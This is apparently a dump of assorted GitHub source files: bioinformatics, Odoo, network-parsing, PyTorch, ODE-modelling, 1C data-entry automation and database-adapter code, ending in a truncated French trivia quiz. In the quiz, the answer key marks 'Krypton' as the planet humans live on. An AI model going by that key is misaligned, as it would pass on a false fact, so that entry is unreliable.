%s\"%(i,out))\n\n#samtools reheader header.txt 5th_Cell.3832.bc1008--bc1008_trimmed_toBAM_mapped.bam | samtools view -h -q 20 -o header.change.test.bam\n#HLA.Longread.Seq.%s.bam\"%ref_dic[idx]\n#KCDCP.2020HLAseq002.bc1002--bc1002.ccs_trimmed_toBAM_mapped.bam\nmain()\n","repo_name":"ksmpooh/SungminCode","sub_path":"KCDC/HLAsequencing/long-read/00.Bam.SMtag.change_afterTrimmed.py","file_name":"00.Bam.SMtag.change_afterTrimmed.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"4781945438","text":"import openerp\nfrom openerp import tools, api\nfrom openerp.osv import osv, fields\nfrom openerp.http import request\nfrom openerp import SUPERUSER_ID\n\nclass jpv_tipo_cuentas(osv.osv):\n _name = 'jpv.tipo_cuentas'\n _description = \"Registro de los Tipos de Cuenta del CFG\"\n _rec_name= 'name'\n \n model_partner_id=[]\n def __init__(self, pool, cr):\n init_res = super(jpv_tipo_cuentas, self).__init__(pool, cr)\n #~ self.default_model_partner_id(cr,SUPERUSER_ID)\n name_objeto=\"name = 'res.partner'\"\n cr.execute(\"select id from ir_model \"\\\n \"where model = 'res.partner' ;\");\n res_objects_ids=cr.fetchall()\n for objeto in res_objects_ids:\n self.model_partner_id.append(objeto[0])\n return init_res\n \n #~ def default_model_partner_id(self,cr,uid,context=None):\n #~ ir_model_obj=self.pool.get('ir.model')\n #~ ir_model_ids=ir_model_obj.search(\n #~ cr,\n #~ uid,\n #~ [('model','=','res.partner')],\n #~ context=context)\n #~ for model_id in ir_model_ids:\n #~ self.model_partner_id.append(model_id)\n #~ return self.model_partner_id\n \n def _control_jpv_tipo_field_ids(self, cr, uid, ids, context=None):\n for r in self.browse(cr,uid,ids):\n if not r.jpv_tipo_field_ids:\n raise osv.except_osv(\n ('Error!'),\n (u'Debe Seleccionar una opción para\\\n quien será creada la cuenta'))\n return True\n \n _columns = {\n 'name':fields.char(\n 'Nombre del Tipo de Cuenta', \n required=True,\n help='Escriba el Nombre del Tipo de Cuenta'),\n 'descripcion':fields.text(\n 'Descripción del Tipo de Cuenta',\n help='Descripción del Tipo de Cuenta'),\n 'cis_entidad': fields.boolean(\n 'Entidades',\n help='Seleccione si el Tipo de Cuenta es para\\\n Entidades'),\n 'jpv_tipo_field_ids':fields.many2many(\n 'ir.model.fields',\n 'jpv_rel_tipo_fileds',\n 'entidad_id',\n 'tipo_fields_id',\n 'Relacion Tipo de Cuenta',\n domain=[('model_id', 'in',model_partner_id),\n ('ttype','=','boolean'),\n ('name','like','cis_%')],\n ),\n 'ip':fields.char(\n 'IP',\n size=15,\n help='ip del cliente de la petición'),\n 'active': fields.boolean(\n 'Activo',\n help='Estatus del registro Activado-Desactivado'),\n }\n _defaults = {\n 'active':True,\n 'ip':lambda self,cr,uid,context: request.httprequest.remote_addr\n }\n \n _constraints=[\n (_control_jpv_tipo_field_ids, ' ', ['jpv_tipo_field_ids']),\n ]\n \n _sql_constraints=[('name_id_uniq', 'unique (name)', \n 'El Nombre del Tipo de Cuenta ya existe en la \\\n Base de Datos')]\n \n def asignar_cuenta(self,cr,uid,ids,context=None):\n for valores in self.browse(cr,uid,ids,context=context):\n tipo_cuenta_id=valores.id\n return {\n 'name': ('jpv.asignacion_cuentas'),\n 'res_model': 'jpv.asignacion_cuentas',\n 'type': 'ir.actions.act_window',\n 'view_id': False,\n 'view_mode': 'form,tree',\n 'view_type': 'form',\n 'limit': 80,\n 'context': \"{ 'default_tipo_cuenta_id':%d,\\\n }\" % (tipo_cuenta_id),\n }\n \n \n","repo_name":"STCInformatica/gestion_de_proyectos","sub_path":"jpv_cuentas/modelos/jpv_tipos_cuentas_m.py","file_name":"jpv_tipos_cuentas_m.py","file_ext":"py","file_size_in_byte":3954,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"16324821598","text":"'''\nread a file 'pinginfo.txt' containing the output of sh cdp ne det | i Dev|IP a\nIt should look like this:\n\nDevice ID: test-MDF1\n IP address: 10.52.1.10\nDevice ID: test-MDF1\n IP address: 10.52.1.10\nDevice ID: test_IDF2_Conf\n IP address: 10.52.1.30\n\nor this:\n\nDevice ID: SBHS-IDFL-LDAT-SW01\n IP address: 10.131.3.116\n IP address: 10.131.3.116\nDevice ID: S-131-IDFU3-U3-1\n IP address: 10.131.1.150\n IP address: 10.131.1.150\nDevice ID: S-131-IDFT2-T2-1\n IP address: 10.131.1.160\n IP address: 10.131.1.160\nDevice ID: S-131-IDFZ3-Z3-1\n IP address: 10.131.1.170\n IP address: 10.131.1.170\nPrint out the code needed to create the pinginfo file in the format: \nip address hostname\n'''\ndef remove_duplicates(x):\n a = []\n for i in x:\n if i not in a:\n a.append(i)\n return a\n\n#create a space between the command line and the output\nprint()\n#create a blank list to accept each line in the file\nlistname = []\nf = open('pinginfo.txt', 'r')\nfor line in f:\n listname.append(line)\nf.close\n#remove blank line at end of list\nwhile True:\n try:\n listname.remove('\\n')\n except ValueError:\n break\nitems = len(listname)\n'''\nDetermine if the output has 1 or 2 IP address statements.\nIf the third item in the list doesn't have IP in it then there is one IP address line.\n'''\nif listname[2].find('IP') == -1:\n\tnumberofIPs = 2\nelse:\n\tnumberofIPs = 3\n\n#Build the end condition for the while loop.\nitems = len(listname)-1\n#initalize the loop counter\ncounter = 0\nsItems = []\nwhile counter < items:\n #read in the first hostname line\n hostname = listname[counter]\n #remove the Device ID: from the hostname line.\n colon = hostname.find(':')\n colon = colon + 1\n hostname = hostname[colon:]\n #remove the newline from the hostname\n hostname = hostname.strip('\\n')\n #The interface is on the next line\n IPaddress = listname[counter + 1]\n #Find the colon in IP Address line\n colon = IPaddress.find(':')\n colon = colon + 1\n #strip the colon out\n IPaddress = IPaddress[colon:]\n #delete the colon\n IPaddress = IPaddress.replace(':','')\n IPaddress = IPaddress.strip('\\n')\n\n#A Nexus doesn't put a space between the Device ID and hostname.\n#If no space exists add one.\n if hostname.find(' ') == -1:\n hostname = ' ' + hostname\n#create the output\n temp = IPaddress + hostname\n # print(temp)\n sItems.append(temp)\n#increment the counter to jump to the next hostname line\n counter = counter + numberofIPs\n#\n#sort by IP address\nsItems.sort()\n#remove duplicates\nsItems = remove_duplicates(sItems)\n#print results\nfor s in sItems:\n print(s)\nprint()","repo_name":"rikosintie/Create-PingInfo","sub_path":"pinginfo.py","file_name":"pinginfo.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"73914436143","text":"\"\"\"\nHTTP Response objects with predefined status codes.\n\n>>> HttpResponseStatus(210).django()\n\n\"\"\"\n\nimport json\nfrom http import HTTPStatus\n\n\nclass HttpResponseStatus:\n\n code: int\n phrase: str\n description: str\n\n def __init__(self, status_code: int):\n # sourcery skip: remove-unnecessary-cast\n try:\n self.code = isinstance(status_code, int) and status_code or int(status_code)\n except (ValueError, TypeError) as err:\n raise ValueError(\"Cannot cast `status_code` to int\") from err\n try:\n http_status = HTTPStatus(status_code)\n except ValueError:\n http_status = None\n\n if http_status:\n self.phrase = http_status.phrase\n self.description = http_status.description\n else:\n self.phrase = \"Unknown status\"\n self.description = \"Undefined response type\"\n\n def __repr__(self):\n return f\"\"\n\n def __str__(self):\n return (f\"{self.code}: {self.phrase}. \" + (self.description or \"\")).strip()\n\n def __int__(self):\n return self.code\n\n def __abs__(self):\n return self.code\n\n def __eq__(self, other):\n if isinstance(other, (int, float)):\n return self.code == other\n elif isinstance(other, str):\n return (\n (self.code == int(other))\n if other.isdigit()\n else (self.phrase.casefold() == other.casefold())\n )\n else:\n return False\n\n @property\n def dict(self):\n return {\n \"code\": self.code,\n \"phrase\": self.phrase,\n \"description\": self.description,\n }\n\n @property\n def json(self):\n return json.dumps(self.dict)\n\n def django(self, *args, **kwargs):\n try:\n import django.http\n except ImportError as err:\n raise RuntimeError(\"Django not installed\") from err\n return {\n 301: django.http.HttpResponsePermanentRedirect,\n 302: django.http.HttpResponseRedirect,\n 304: django.http.HttpResponseNotModified,\n 400: django.http.HttpResponseBadRequest,\n 403: django.http.HttpResponseForbidden,\n 404: django.http.HttpResponseNotFound,\n 405: django.http.HttpResponseNotAllowed,\n 410: django.http.HttpResponseGone,\n 500: django.http.HttpResponseServerError,\n }.get(\n self.code,\n type(\n f\"HttpResponse{self.phrase.title().replace(' ', '').replace('-', '')}\",\n (django.http.HttpResponse,),\n {\n \"status_code\": self.code,\n \"phrase\": self.phrase,\n \"description\": self.description,\n },\n ),\n )(\n *args, **kwargs\n )\n","repo_name":"trankov/trankov","sub_path":"usefuls/http_response_status.py","file_name":"http_response_status.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"24701053802","text":"from torch.utils import data as td\nimport torch\nimport h5py,logging\nimport numpy as np\nfrom pytorch.model import device\nlogger = logging.getLogger(__name__)\n\nclass ImageDataset(td.Dataset):\n def __init__(self,filelist,config):\n super(ImageDataset,self).__init__()\n self.config = config\n self.image_shape = config['data_handling']['image_shape']\n self.filelist = filelist\n self.grid_size = None\n self.images_per_file = config['data_handling']['images_per_file']\n self.len = len(self.filelist) * self.images_per_file\n\n self.last_file_index = -1\n self.last_file = None\n\n def __getitem__(self,index):\n # logger.info('getting index %s',index)\n image_index = self.get_image_index(index)\n file_index = self.get_file_index(index)\n\n if file_index == self.last_file_index:\n file = self.last_file\n else:\n self.last_file_index = file_index\n self.last_file = h5py.File(self.filelist[file_index],'r')\n file = self.last_file\n\n image = np.float32(file['raw'][image_index])\n truth = np.int32(file['truth'][image_index])\n truth = self.convert_truth_classonly(truth,self.image_shape[1],self.image_shape[2])\n \n image = torch.from_numpy(image)\n truth = torch.from_numpy(truth)\n\n # image = image.to(device)\n # truth = truth.to(device)\n\n return image,truth\n\n def convert_truth_classonly(self,truth,img_height,img_width):\n\n pix_per_grid_h = img_height / self.grid_size[0]\n pix_per_grid_w = img_width / self.grid_size[1]\n\n new_truth = np.zeros((2,self.grid_size[0],self.grid_size[1]),dtype=np.int32)\n\n for obj_num in range(len(truth)):\n obj_truth = truth[obj_num]\n\n obj_exists = obj_truth[0]\n\n if obj_exists == 1:\n\n obj_center_x = obj_truth[1] / pix_per_grid_w\n obj_center_y = obj_truth[2] / pix_per_grid_h\n # obj_width = obj_truth[3] / pix_per_grid_w\n # obj_height = obj_truth[4] / pix_per_grid_h\n\n grid_x = int(np.floor(obj_center_x))\n grid_y = int(np.floor(obj_center_y))\n\n # if grid_x >= self.grid_w:\n # raise Exception('grid_x %s is not less than grid_w %s' % (grid_x,self.grid_w))\n # if grid_y >= self.grid_h:\n # raise Exception('grid_y %s is not less than grid_h %s' % (grid_y,self.grid_h))\n\n new_truth[0,grid_y,grid_x] = obj_exists\n new_truth[1,grid_y,grid_x] = np.argmax([np.sum(obj_truth[5:10]),np.sum(obj_truth[10:12])])\n\n return new_truth\n\n def get_image_index(self,index):\n return index % self.images_per_file\n\n def get_file_index(self,index):\n return index // self.images_per_file\n\n def __len__(self):\n return self.len\n\n @staticmethod\n def get_loader(dataset, batch_size=1,\n shuffle=False, sampler=None, batch_sampler=None,\n num_workers=0, pin_memory=False, drop_last=False,\n timeout=0, worker_init_fn=None):\n\n return td.DataLoader(dataset,batch_size=batch_size,\n shuffle=shuffle,sampler=sampler,batch_sampler=batch_sampler,\n num_workers=num_workers,pin_memory=pin_memory,drop_last=drop_last,\n timeout=timeout,worker_init_fn=worker_init_fn)\n\n\nif __name__ == '__main__':\n logging_format = '%(asctime)s %(levelname)s:%(name)s:%(process)s:%(thread)s:%(message)s'\n logging_datefmt = '%Y-%m-%d %H:%M:%S'\n logging.basicConfig(level=logging.INFO,format=logging_format,datefmt=logging_datefmt)\n import sys,json,time\n import data_handlers.utils as du\n\n config = json.load(open(sys.argv[1]))\n\n tds,vds = du.get_datasets(config)\n tds.dataset.grid_size = (10,10) # these come from the model\n vds.dataset.grid_size = (10,10) # these come frmo the model\n\n for data in tds:\n image = data[0]\n label = data[1]\n\n logger.info('image = %s label = %s',image.shape,label.shape)\n time.sleep(10)\n\n\n","repo_name":"jtchilders/atlas-pointnet","sub_path":"data_handler/pytorch_dataset_h5.py","file_name":"pytorch_dataset_h5.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"6661499547","text":"import pandas as pd\r\n\r\ndata = pd.read_csv(\"2018_Central_Park_Squirrel_Census_-_Squirrel_Data.csv\")\r\ncolor = data[\"Primary Fur Color\"]\r\ngray = 0\r\nblack = 0\r\nred = 0\r\n\r\nfor i in color:\r\n if i == \"Gray\":\r\n gray += 1\r\n elif i == \"Black\":\r\n black += 1\r\n elif i == \"Cinnamon\":\r\n red += 1\r\n\r\ndata_dict = {\r\n \"Fur color\": [\"gray\", \"red\", \"black\"],\r\n \"Count\": [gray, red, black]\r\n}\r\n\r\nnew_data = pd.DataFrame(data_dict)\r\nnew_data.to_csv(\"squirrel_count.csv\")\r\n\r\n","repo_name":"DeusDrei/100-Days-of-Code","sub_path":"Day 25/Squirrel-Color-Exercise/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"37675878919","text":"import numpy as np\nfrom scipy.integrate import odeint\nfrom matplotlib import pyplot as plt\n\ndef dx_MAPK(x,t,a=1000,k=150,d=150,l=0):\n KKK = x[0]\n E1 = x[1]\n KKK_E1 = x[2]\n KKKP = x[3]\n E2 = x[4]\n KKKP_E2 = x[5]\n KK = x[6]\n KK_KKKP = x[7]\n KKP = x[8]\n KKPase = x[9]\n KKP_KKPase = x[10]\n KKP_KKKP = x[11]\n KKPP = x[12]\n KKPP_KKPase = x[13]\n K = x[14]\n K_KKPP = x[15]\n KP = x[16]\n KPase = x[17]\n KP_KPase = x[18]\n KP_KKPP = x[19]\n KPP = x[20]\n KPP_KPase = x[21]\n \n v1a = a*KKK*E1 - d*KKK_E1\n v1b = k*KKK_E1 - l*KKKP*E1\n v2a = a*KKKP*E2 - d*KKKP_E2\n v2b = k*KKKP_E2 - l*KKK*E2\n v3a = a*KK*KKKP - d*KK_KKKP\n v3b = k*KK_KKKP - l*KKP*KKKP\n v4a = a*KKP*KKPase - d*KKP_KKPase\n v4b = k*KKP_KKPase - l*KK*KKPase\n v5a = a*KKP*KKKP - d*KKP_KKKP\n v5b = k*KKP_KKKP - l*KKPP*KKKP\n v6a = a*KKPP*KKPase - d*KKPP_KKPase\n v6b = k*KKPP_KKPase - l*KKP*KKPase\n v7a = a*K*KKPP - d*K_KKPP\n v7b = k*K_KKPP - l*KP*KKPP\n v8a = a*KP*KPase - d*KP_KPase\n v8b = k*KP_KPase - l*K*KPase\n v9a = a*KP*KKPP - d*KP_KKPP\n v9b = k*KP_KKPP - l*KPP*KKPP\n v10a = a*KPP*KPase - d*KPP_KPase\n v10b = k*KPP_KPase - l*KP*KPase\n\n d_KKK = -v1a +v2b\n d_E1 = -v1a + v1b\n d_KKK_E1 = v1a - v1b\n d_KKKP = v1b -v2a -v3a +v3b -v5a +v5b\n d_E2 = -v2a +v2b\n d_KKKP_E2 = v2a - v2b\n d_KK = -v3a +v4b\n d_KK_KKKP = v3a -v3b\n d_KKP = v3b -v4a -v5a +v6b\n d_KKPase = -v4a +v4b -v6a +v6b\n d_KKP_KKPase = v4a -v4b\n d_KKP_KKKP = v5a -v5b\n d_KKPP = v5b -v6a -v7a +v7b -v9a +v9b\n d_KKPP_KKPase = v6a -v6b\n d_K = -v7a +v8b\n d_K_KKPP = v7a - v7b\n d_KP = v7b -v8a -v9a +v10b\n d_KPase = -v8a +v8b -v10a +v10b\n d_KP_KPase = v8a - v8b\n d_KP_KKPP = v9a - v9b\n d_K_PP = v9b -v10a\n d_KPP_KPase = v10a - v10b\n\n dx = [\n d_KKK, d_E1, d_KKK_E1, d_KKKP, d_E2, d_KKKP_E2,\n d_KK, d_KK_KKKP, d_KKP, d_KKPase, d_KKP_KKPase,\n d_KKP_KKKP, d_KKPP, d_KKPP_KKPase, d_K,d_K_KKPP,\n d_KP, d_KPase, d_KP_KPase, d_KP_KKPP, d_K_PP,d_KPP_KPase,\n ]\n\n return dx\n\nx0 = np.array([0.0]*22)\nx0[1] = 3e-5\nx0[0] = 3e-3\nx0[6] = 1.2\nx0[14] = 1.2\nx0[4] = 3e-4\nx0[9] = 3e-4\nx0[17] = 0.12\n\ndef generate_activation_curve(E1_vals = np.logspace(-7,-1,num=100)):\n MKKKP = np.array(len(E1_vals)*[0.])\n MKKPP = np.array(len(E1_vals)*[0.])\n MKPP = np.array(len(E1_vals)*[0.])\n t = np.arange(0.,1000.,0.1)\n\n a = 1000\n d = 150\n k = 150\n DG_ATP = -50000\n R = 8.314\n T = 310\n D = (a*k/d)**2*np.exp(DG_ATP/R/T)\n l = np.sqrt(D)\n\n for i,E1 in enumerate(E1_vals):\n x0[1] = E1\n x = odeint(dx_MAPK,x0,t,args=(a,k,d,l))\n MKKKP[i] = x[-1,3]\n MKKPP[i] = x[-1,12]\n MKPP[i] = x[-1,20]\n\n MKKKP_ideal = np.array(len(E1_vals)*[0.])\n MKKPP_ideal = np.array(len(E1_vals)*[0.])\n MKPP_ideal = np.array(len(E1_vals)*[0.])\n\n for i,E1 in enumerate(E1_vals):\n x0[1] = E1\n x = odeint(dx_MAPK,x0,t)\n MKKKP_ideal[i] = x[-1,3]\n MKKPP_ideal[i] = x[-1,12]\n MKPP_ideal[i] = x[-1,20]\n \n return E1_vals, (MKKKP,MKKPP,MKPP), (MKKKP_ideal,MKKPP_ideal,MKPP_ideal)\n","repo_name":"mic-pan/Modularity-SysBio","sub_path":"Huang_Ferrell_MAPK.py","file_name":"Huang_Ferrell_MAPK.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"9061695166","text":"import math\nimport numpy as np\n\nfrom numba import jit\n\n@jit(nopython = True)\ndef add_symmetric_border(array, border_size = 1):\n '''\n Add a symmetric border to a 2D array\n \n @param array: The array\n @param border_size: The size of the border\n \n @return The expended array\n '''\n assert len(array.shape) == 2, \"The array must be two-dimensional\"\n assert border_size > 0, \"The border size must be strictly higher than 0\"\n \n bordered_array = np.full((array.shape[0] + 2*border_size, \n array.shape[1] + 2*border_size), \n np.nan)\n bordered_array[border_size:-border_size, border_size:-border_size] = array\n \n bordered_array[border_size:-border_size, -border_size:] = array[:, -1:-border_size - 1:-1]\n bordered_array[border_size:-border_size, border_size - 1::-1] = array[:, 0:border_size]\n bordered_array[0:border_size, :] = bordered_array[2*border_size - 1:border_size - 1:-1, :]\n bordered_array[-border_size:, :] = bordered_array[-border_size - 1:-2*border_size - 1:-1, :]\n \n return bordered_array\n\n@jit(nopython = True)\ndef compute_gradient_at_cell(array, j, i, grid_yx_spacing, axis = 1):\n '''\n Compute Horn's gradient for a given cell of an array\n \n @param array: The array\n @param j: The index of the cell along the y axis\n @param i: The index of the cell along the x axis\n @param grid_yx_spacing: The cell size, which is considered fixed for the entire array\n @param axis: the axis along which the gradient is computed (0: y; 1: x)\n \n @return The gradient value for the cell\n '''\n assert len(array.shape) == 2 and len(grid_yx_spacing) == 2, \"The array must be two-dimensional\"\n assert 0 <= j < array.shape[0] and 0 <= i < array.shape[1], \"The cell is outside the array\"\n assert axis == 0 or axis == 1, \"Invalid axis\"\n \n cell_1 = (j + 1, i + 1)\n cell_2 = (j + 1, i - 1)\n cell_3 = (j, i + 1)\n cell_4 = (j, i - 1)\n cell_5 = (j - 1, i + 1)\n cell_6 = (j - 1, i - 1)\n distance = grid_yx_spacing[1]\n if axis == 0:\n cell_2 = (j - 1, i + 1)\n cell_3 = (j + 1, i)\n cell_4 = (j - 1, i)\n cell_5 = (j + 1, i - 1)\n distance = grid_yx_spacing[0]\n\n return ((array[cell_1] - array[cell_2]) +\n 2*(array[cell_3] - array[cell_4]) +\n (array[cell_5] - array[cell_6]))/(8.*distance)\n\n@jit(nopython = True)\ndef compute_horne_slope(array, \n grid_yx_spacing):\n '''\n Compute Horn's slope of a 2D array with a fixed cell size\n \n @param array: The array\n @param grid_yx_spacing: The cell size, which is considered fixed for the entire array\n \n @return The slope (in degree)\n '''\n assert len(array.shape) == 2 and len(grid_yx_spacing) == 2, \"The array must be two-dimensional\"\n\n array = add_symmetric_border(array)\n \n slope_array = np.full(array.shape, np.nan)\n\n for j in range(1, slope_array.shape[0] - 1):\n for i in range(1, slope_array.shape[1] - 1):\n dx = compute_gradient_at_cell(array, j, i,\n grid_yx_spacing)\n dy = compute_gradient_at_cell(array,j, i,\n grid_yx_spacing, 0)\n slope_array[j, i] = math.atan(math.sqrt(dx*dx + dy*dy))*180./math.pi\n \n return slope_array[1:-1, 1:-1]","repo_name":"MITeaps/pyinsar","sub_path":"pyinsar/processing/geography/geomorphometry.py","file_name":"geomorphometry.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"91"} +{"seq_id":"24462114555","text":"from pynput.keyboard import Key, Controller\r\nfrom pymouse import PyMouse\r\nimport time, sys\r\nimport parse\r\nfrom cv_functions import check_for_error, find_coordinates\r\nimport tkinter.messagebox as mb\r\n\r\nmouse = PyMouse()\r\nkeyboard = Controller()\r\n\r\n\r\ndef main(table_filename):\r\n\r\n print('Starting... Finding fields...')\r\n\r\n x_create, y_create, x_student, y_student, \\\r\n x_docs, y_docs, x_sum, y_sum, x_cat, y_cat = find_coordinates()\r\n\r\n print('All coordinates found.')\r\n\r\n table = parse.ParseTable(table_filename)\r\n\r\n i = 0\r\n try:\r\n for data in table.items():\r\n if \"гос\" in data[1].get('Категория').lower():\r\n cat = \"13,\"\r\n elif \"потер\" in data[1].get('Категория').lower():\r\n cat = \"15\"\r\n elif \"сирот\" in data[1].get('Категория').lower():\r\n cat = \"15\"\r\n elif \"малообес\" in data[1].get('Категория').lower():\r\n cat = \"13\"\r\n elif \"пенсион\" in data[1].get('Категория').lower():\r\n cat = \"13\"\r\n elif \"инвал\" in data[1].get('Категория').lower():\r\n cat = \"13\"\r\n elif \"брак\" in data[1].get('Категория').lower():\r\n cat = \"15\"\r\n elif \"полис\" in data[1].get('Категория').lower():\r\n cat = \"14\"\r\n elif \"бил\" in data[1].get('Категория').lower():\r\n cat = \"14\"\r\n elif \"мед\" in data[1].get('Категория').lower():\r\n cat = \"14\"\r\n elif \"лек\" in data[1].get('Категория').lower():\r\n cat = \"14\"\r\n elif \"стомат\" in data[1].get('Категория').lower():\r\n cat = \"14\"\r\n else:\r\n cat = \"14\"\r\n\r\n i+=1\r\n print (i, \" \", cat, \" \", data[1].get('группа').lower(), \" \", data[1].get('Категория').lower(), \" \", data[1].get('ФИО'), \" \",str(data[1].get('Сумма')))\r\n \r\n if i > 1:\r\n mouse.press(x_create, y_create, 1)\r\n time.sleep(0.3)\r\n\r\n mouse.press(x_student, y_student, 1)\r\n\r\n keyboard.type(data[1].get('ФИО'))\r\n time.sleep(0.2)\r\n if check_for_error(x_student, y_student):\r\n mb.showerror(\"Error\", 'Error found, please input that person manually, after clicking ok, next person will continue input')\r\n continue\r\n\r\n keyboard.press(Key.enter)\r\n time.sleep(0.2)\r\n if check_for_error(x_student, y_student):\r\n mb.showerror(\"Error\", 'Error found, please input that person manually, after clicking ok, next person will continue input')\r\n continue\r\n\r\n ##поиск категории\r\n mouse.press(x_cat, y_cat,1)\r\n time.sleep(0.2)\r\n keyboard.type(cat)\r\n time.sleep(0.6)\r\n keyboard.press(Key.enter)\r\n time.sleep(0.1)\r\n keyboard.press(Key.enter)\r\n #enter x2\r\n time.sleep(0.3)\r\n \r\n\r\n ##сумма\r\n mouse.press(x_sum, y_sum, 1)\r\n keyboard.type(str(data[1].get('Сумма')))\r\n time.sleep(0.2)\r\n \r\n ##подтверждающий документ\r\n mouse.press(x_docs, y_docs, 1)\r\n time.sleep(0.2)\r\n\r\n mouse.press(x_create, y_create, 1)\r\n time.sleep(0.5)\r\n \r\n \r\n except KeyboardInterrupt:\r\n exit()\r\n\r\nif __name__ == '__main__':\r\n if len (sys.argv) < 2 or len (sys.argv) > 2:\r\n print(\"Unknown usage\")\r\n exit(1)\r\n\r\n main(sys.argv[1])","repo_name":"AlekseiByk/1c_inputter","sub_path":"1c.py","file_name":"1c.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"29900554799","text":"from __future__ import annotations\n\nimport typing as t\n\nfrom sqlmesh.core.engine_adapter.mixins import (\n LogicalMergeMixin,\n LogicalReplaceQueryMixin,\n PandasNativeFetchDFSupportMixin,\n)\nfrom sqlmesh.core.engine_adapter.shared import DataObject, DataObjectType, set_catalog\n\nif t.TYPE_CHECKING:\n from sqlmesh.core._typing import SchemaName, TableName\n\n\nclass MySQLEngineAdapter(\n LogicalMergeMixin,\n LogicalReplaceQueryMixin,\n PandasNativeFetchDFSupportMixin,\n):\n DEFAULT_BATCH_SIZE = 200\n DIALECT = \"mysql\"\n ESCAPE_JSON = True\n SUPPORTS_INDEXES = True\n\n def create_index(\n self,\n table_name: TableName,\n index_name: str,\n columns: t.Tuple[str, ...],\n exists: bool = True,\n ) -> None:\n # MySQL doesn't support IF EXISTS clause for indexes.\n super().create_index(table_name, index_name, columns, exists=False)\n\n def drop_schema(\n self,\n schema_name: SchemaName,\n ignore_if_not_exists: bool = True,\n cascade: bool = False,\n ) -> None:\n # MySQL doesn't support CASCADE clause and drops schemas unconditionally.\n super().drop_schema(schema_name, ignore_if_not_exists=ignore_if_not_exists, cascade=False)\n\n @set_catalog()\n def _get_data_objects(self, schema_name: SchemaName) -> t.List[DataObject]:\n \"\"\"\n Returns all the data objects that exist in the given schema and optionally catalog.\n \"\"\"\n query = f\"\"\"\n SELECT\n null AS catalog_name,\n table_name AS name,\n table_schema AS schema_name,\n CASE\n WHEN table_type = 'BASE TABLE' THEN 'table'\n WHEN table_type = 'VIEW' THEN 'view'\n ELSE table_type\n END AS type\n FROM information_schema.tables\n WHERE table_schema = '{schema_name}'\n \"\"\"\n df = self.fetchdf(query)\n return [\n DataObject(\n catalog=row.catalog_name, schema=row.schema_name, name=row.name, type=DataObjectType.from_str(row.type) # type: ignore\n )\n for row in df.itertuples()\n ]\n","repo_name":"TobikoData/sqlmesh","sub_path":"sqlmesh/core/engine_adapter/mysql.py","file_name":"mysql.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":832,"dataset":"github-code","pt":"91"} +{"seq_id":"28498333124","text":"from flask import Blueprint, current_app, request, make_response\nfrom robocop_api.utils.slack_utils import check_whitelist, echo_message, send_message\n\nreprocess_blueprint = Blueprint(\"reprocess\", __name__)\n\n\n@reprocess_blueprint.route(\"/\", methods=[\"POST\"])\ndef ping_request():\n try:\n data: dict = request.form.to_dict()\n response_url = data['response_url']\n check_whitelist(data, 'ping')\n echo_message(data)\n send_message('Pong', response_url)\n return make_response(\"\", 200)\n except Exception as e:\n current_app.logger.error(f\"Ping command failed: {e}\")\n raise\n","repo_name":"alinaromantsova/roboCOP","sub_path":"robocop_api/reprocess/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"728357694","text":"from modules import *\n\n\n\"\"\" Questionnaire fun\"\"\"\n\nnomCategorie=\"fun\"\ndescriptionCategorie=\" Ok un peu de detente avant de faire les devoirs!!!!!\"\nfun_Cat=Categorie(nomCategorie,descriptionCategorie)\n\n\nfun=Questionnaire()\n\n\"\"\"1\"\"\"\nmonLibelle=\"Lequel de ces Schtroumpf n'existe pas?\"\nfirstChoice=\"Celui qui n'existe pas\"\nsecondChoice=\"Le schtroumpf a lunette\"\nthirdChoice=\"Le schtroumpf cosmonaute\"\nfourthChoice=\"Le grand schtroumpf\"\ntrueResponse=\"a\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(1,myQuestion)\n\n\n\n\"\"\"2\"\"\"\nmonLibelle=\"Quelle est la couleur du cheval blanc du roi HENRY IV?\"\nfirstChoice=\"bleu\"\nsecondChoice=\"vert\"\nthirdChoice=\"blanc\"\nfourthChoice=\"rouge\"\ntrueResponse=\"c\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(2,myQuestion)\n\n\n\"\"\"3\"\"\"\nmonLibelle=\"Sur quelle planete vivons nous?\"\nfirstChoice=\"Namek\"\nsecondChoice=\"Krypton\"\nthirdChoice=\"La Terre\"\nfourthChoice=\"La planete Vegeta\"\ntrueResponse=\"b\"\n\ncontenu = { \"libelle\":monLibelle,\n \"a\":firstChoice,\n \"b\":secondChoice,\n \"c\":thirdChoice,\n \"d\":fourthChoice,\n \"$\":trueResponse\n }\n\nmyQuestion=Question(contenu)\nfun.addQuestion(3,myQuestion)\n\n\n\"\"\"4\"\"\"\nmonLibelle=\"Tom est un chat, et Jerry est?\"\nfirstChoice=\"un chien\"\nsecondChoice=\"un porc\"\nthirdChoice=\"Une 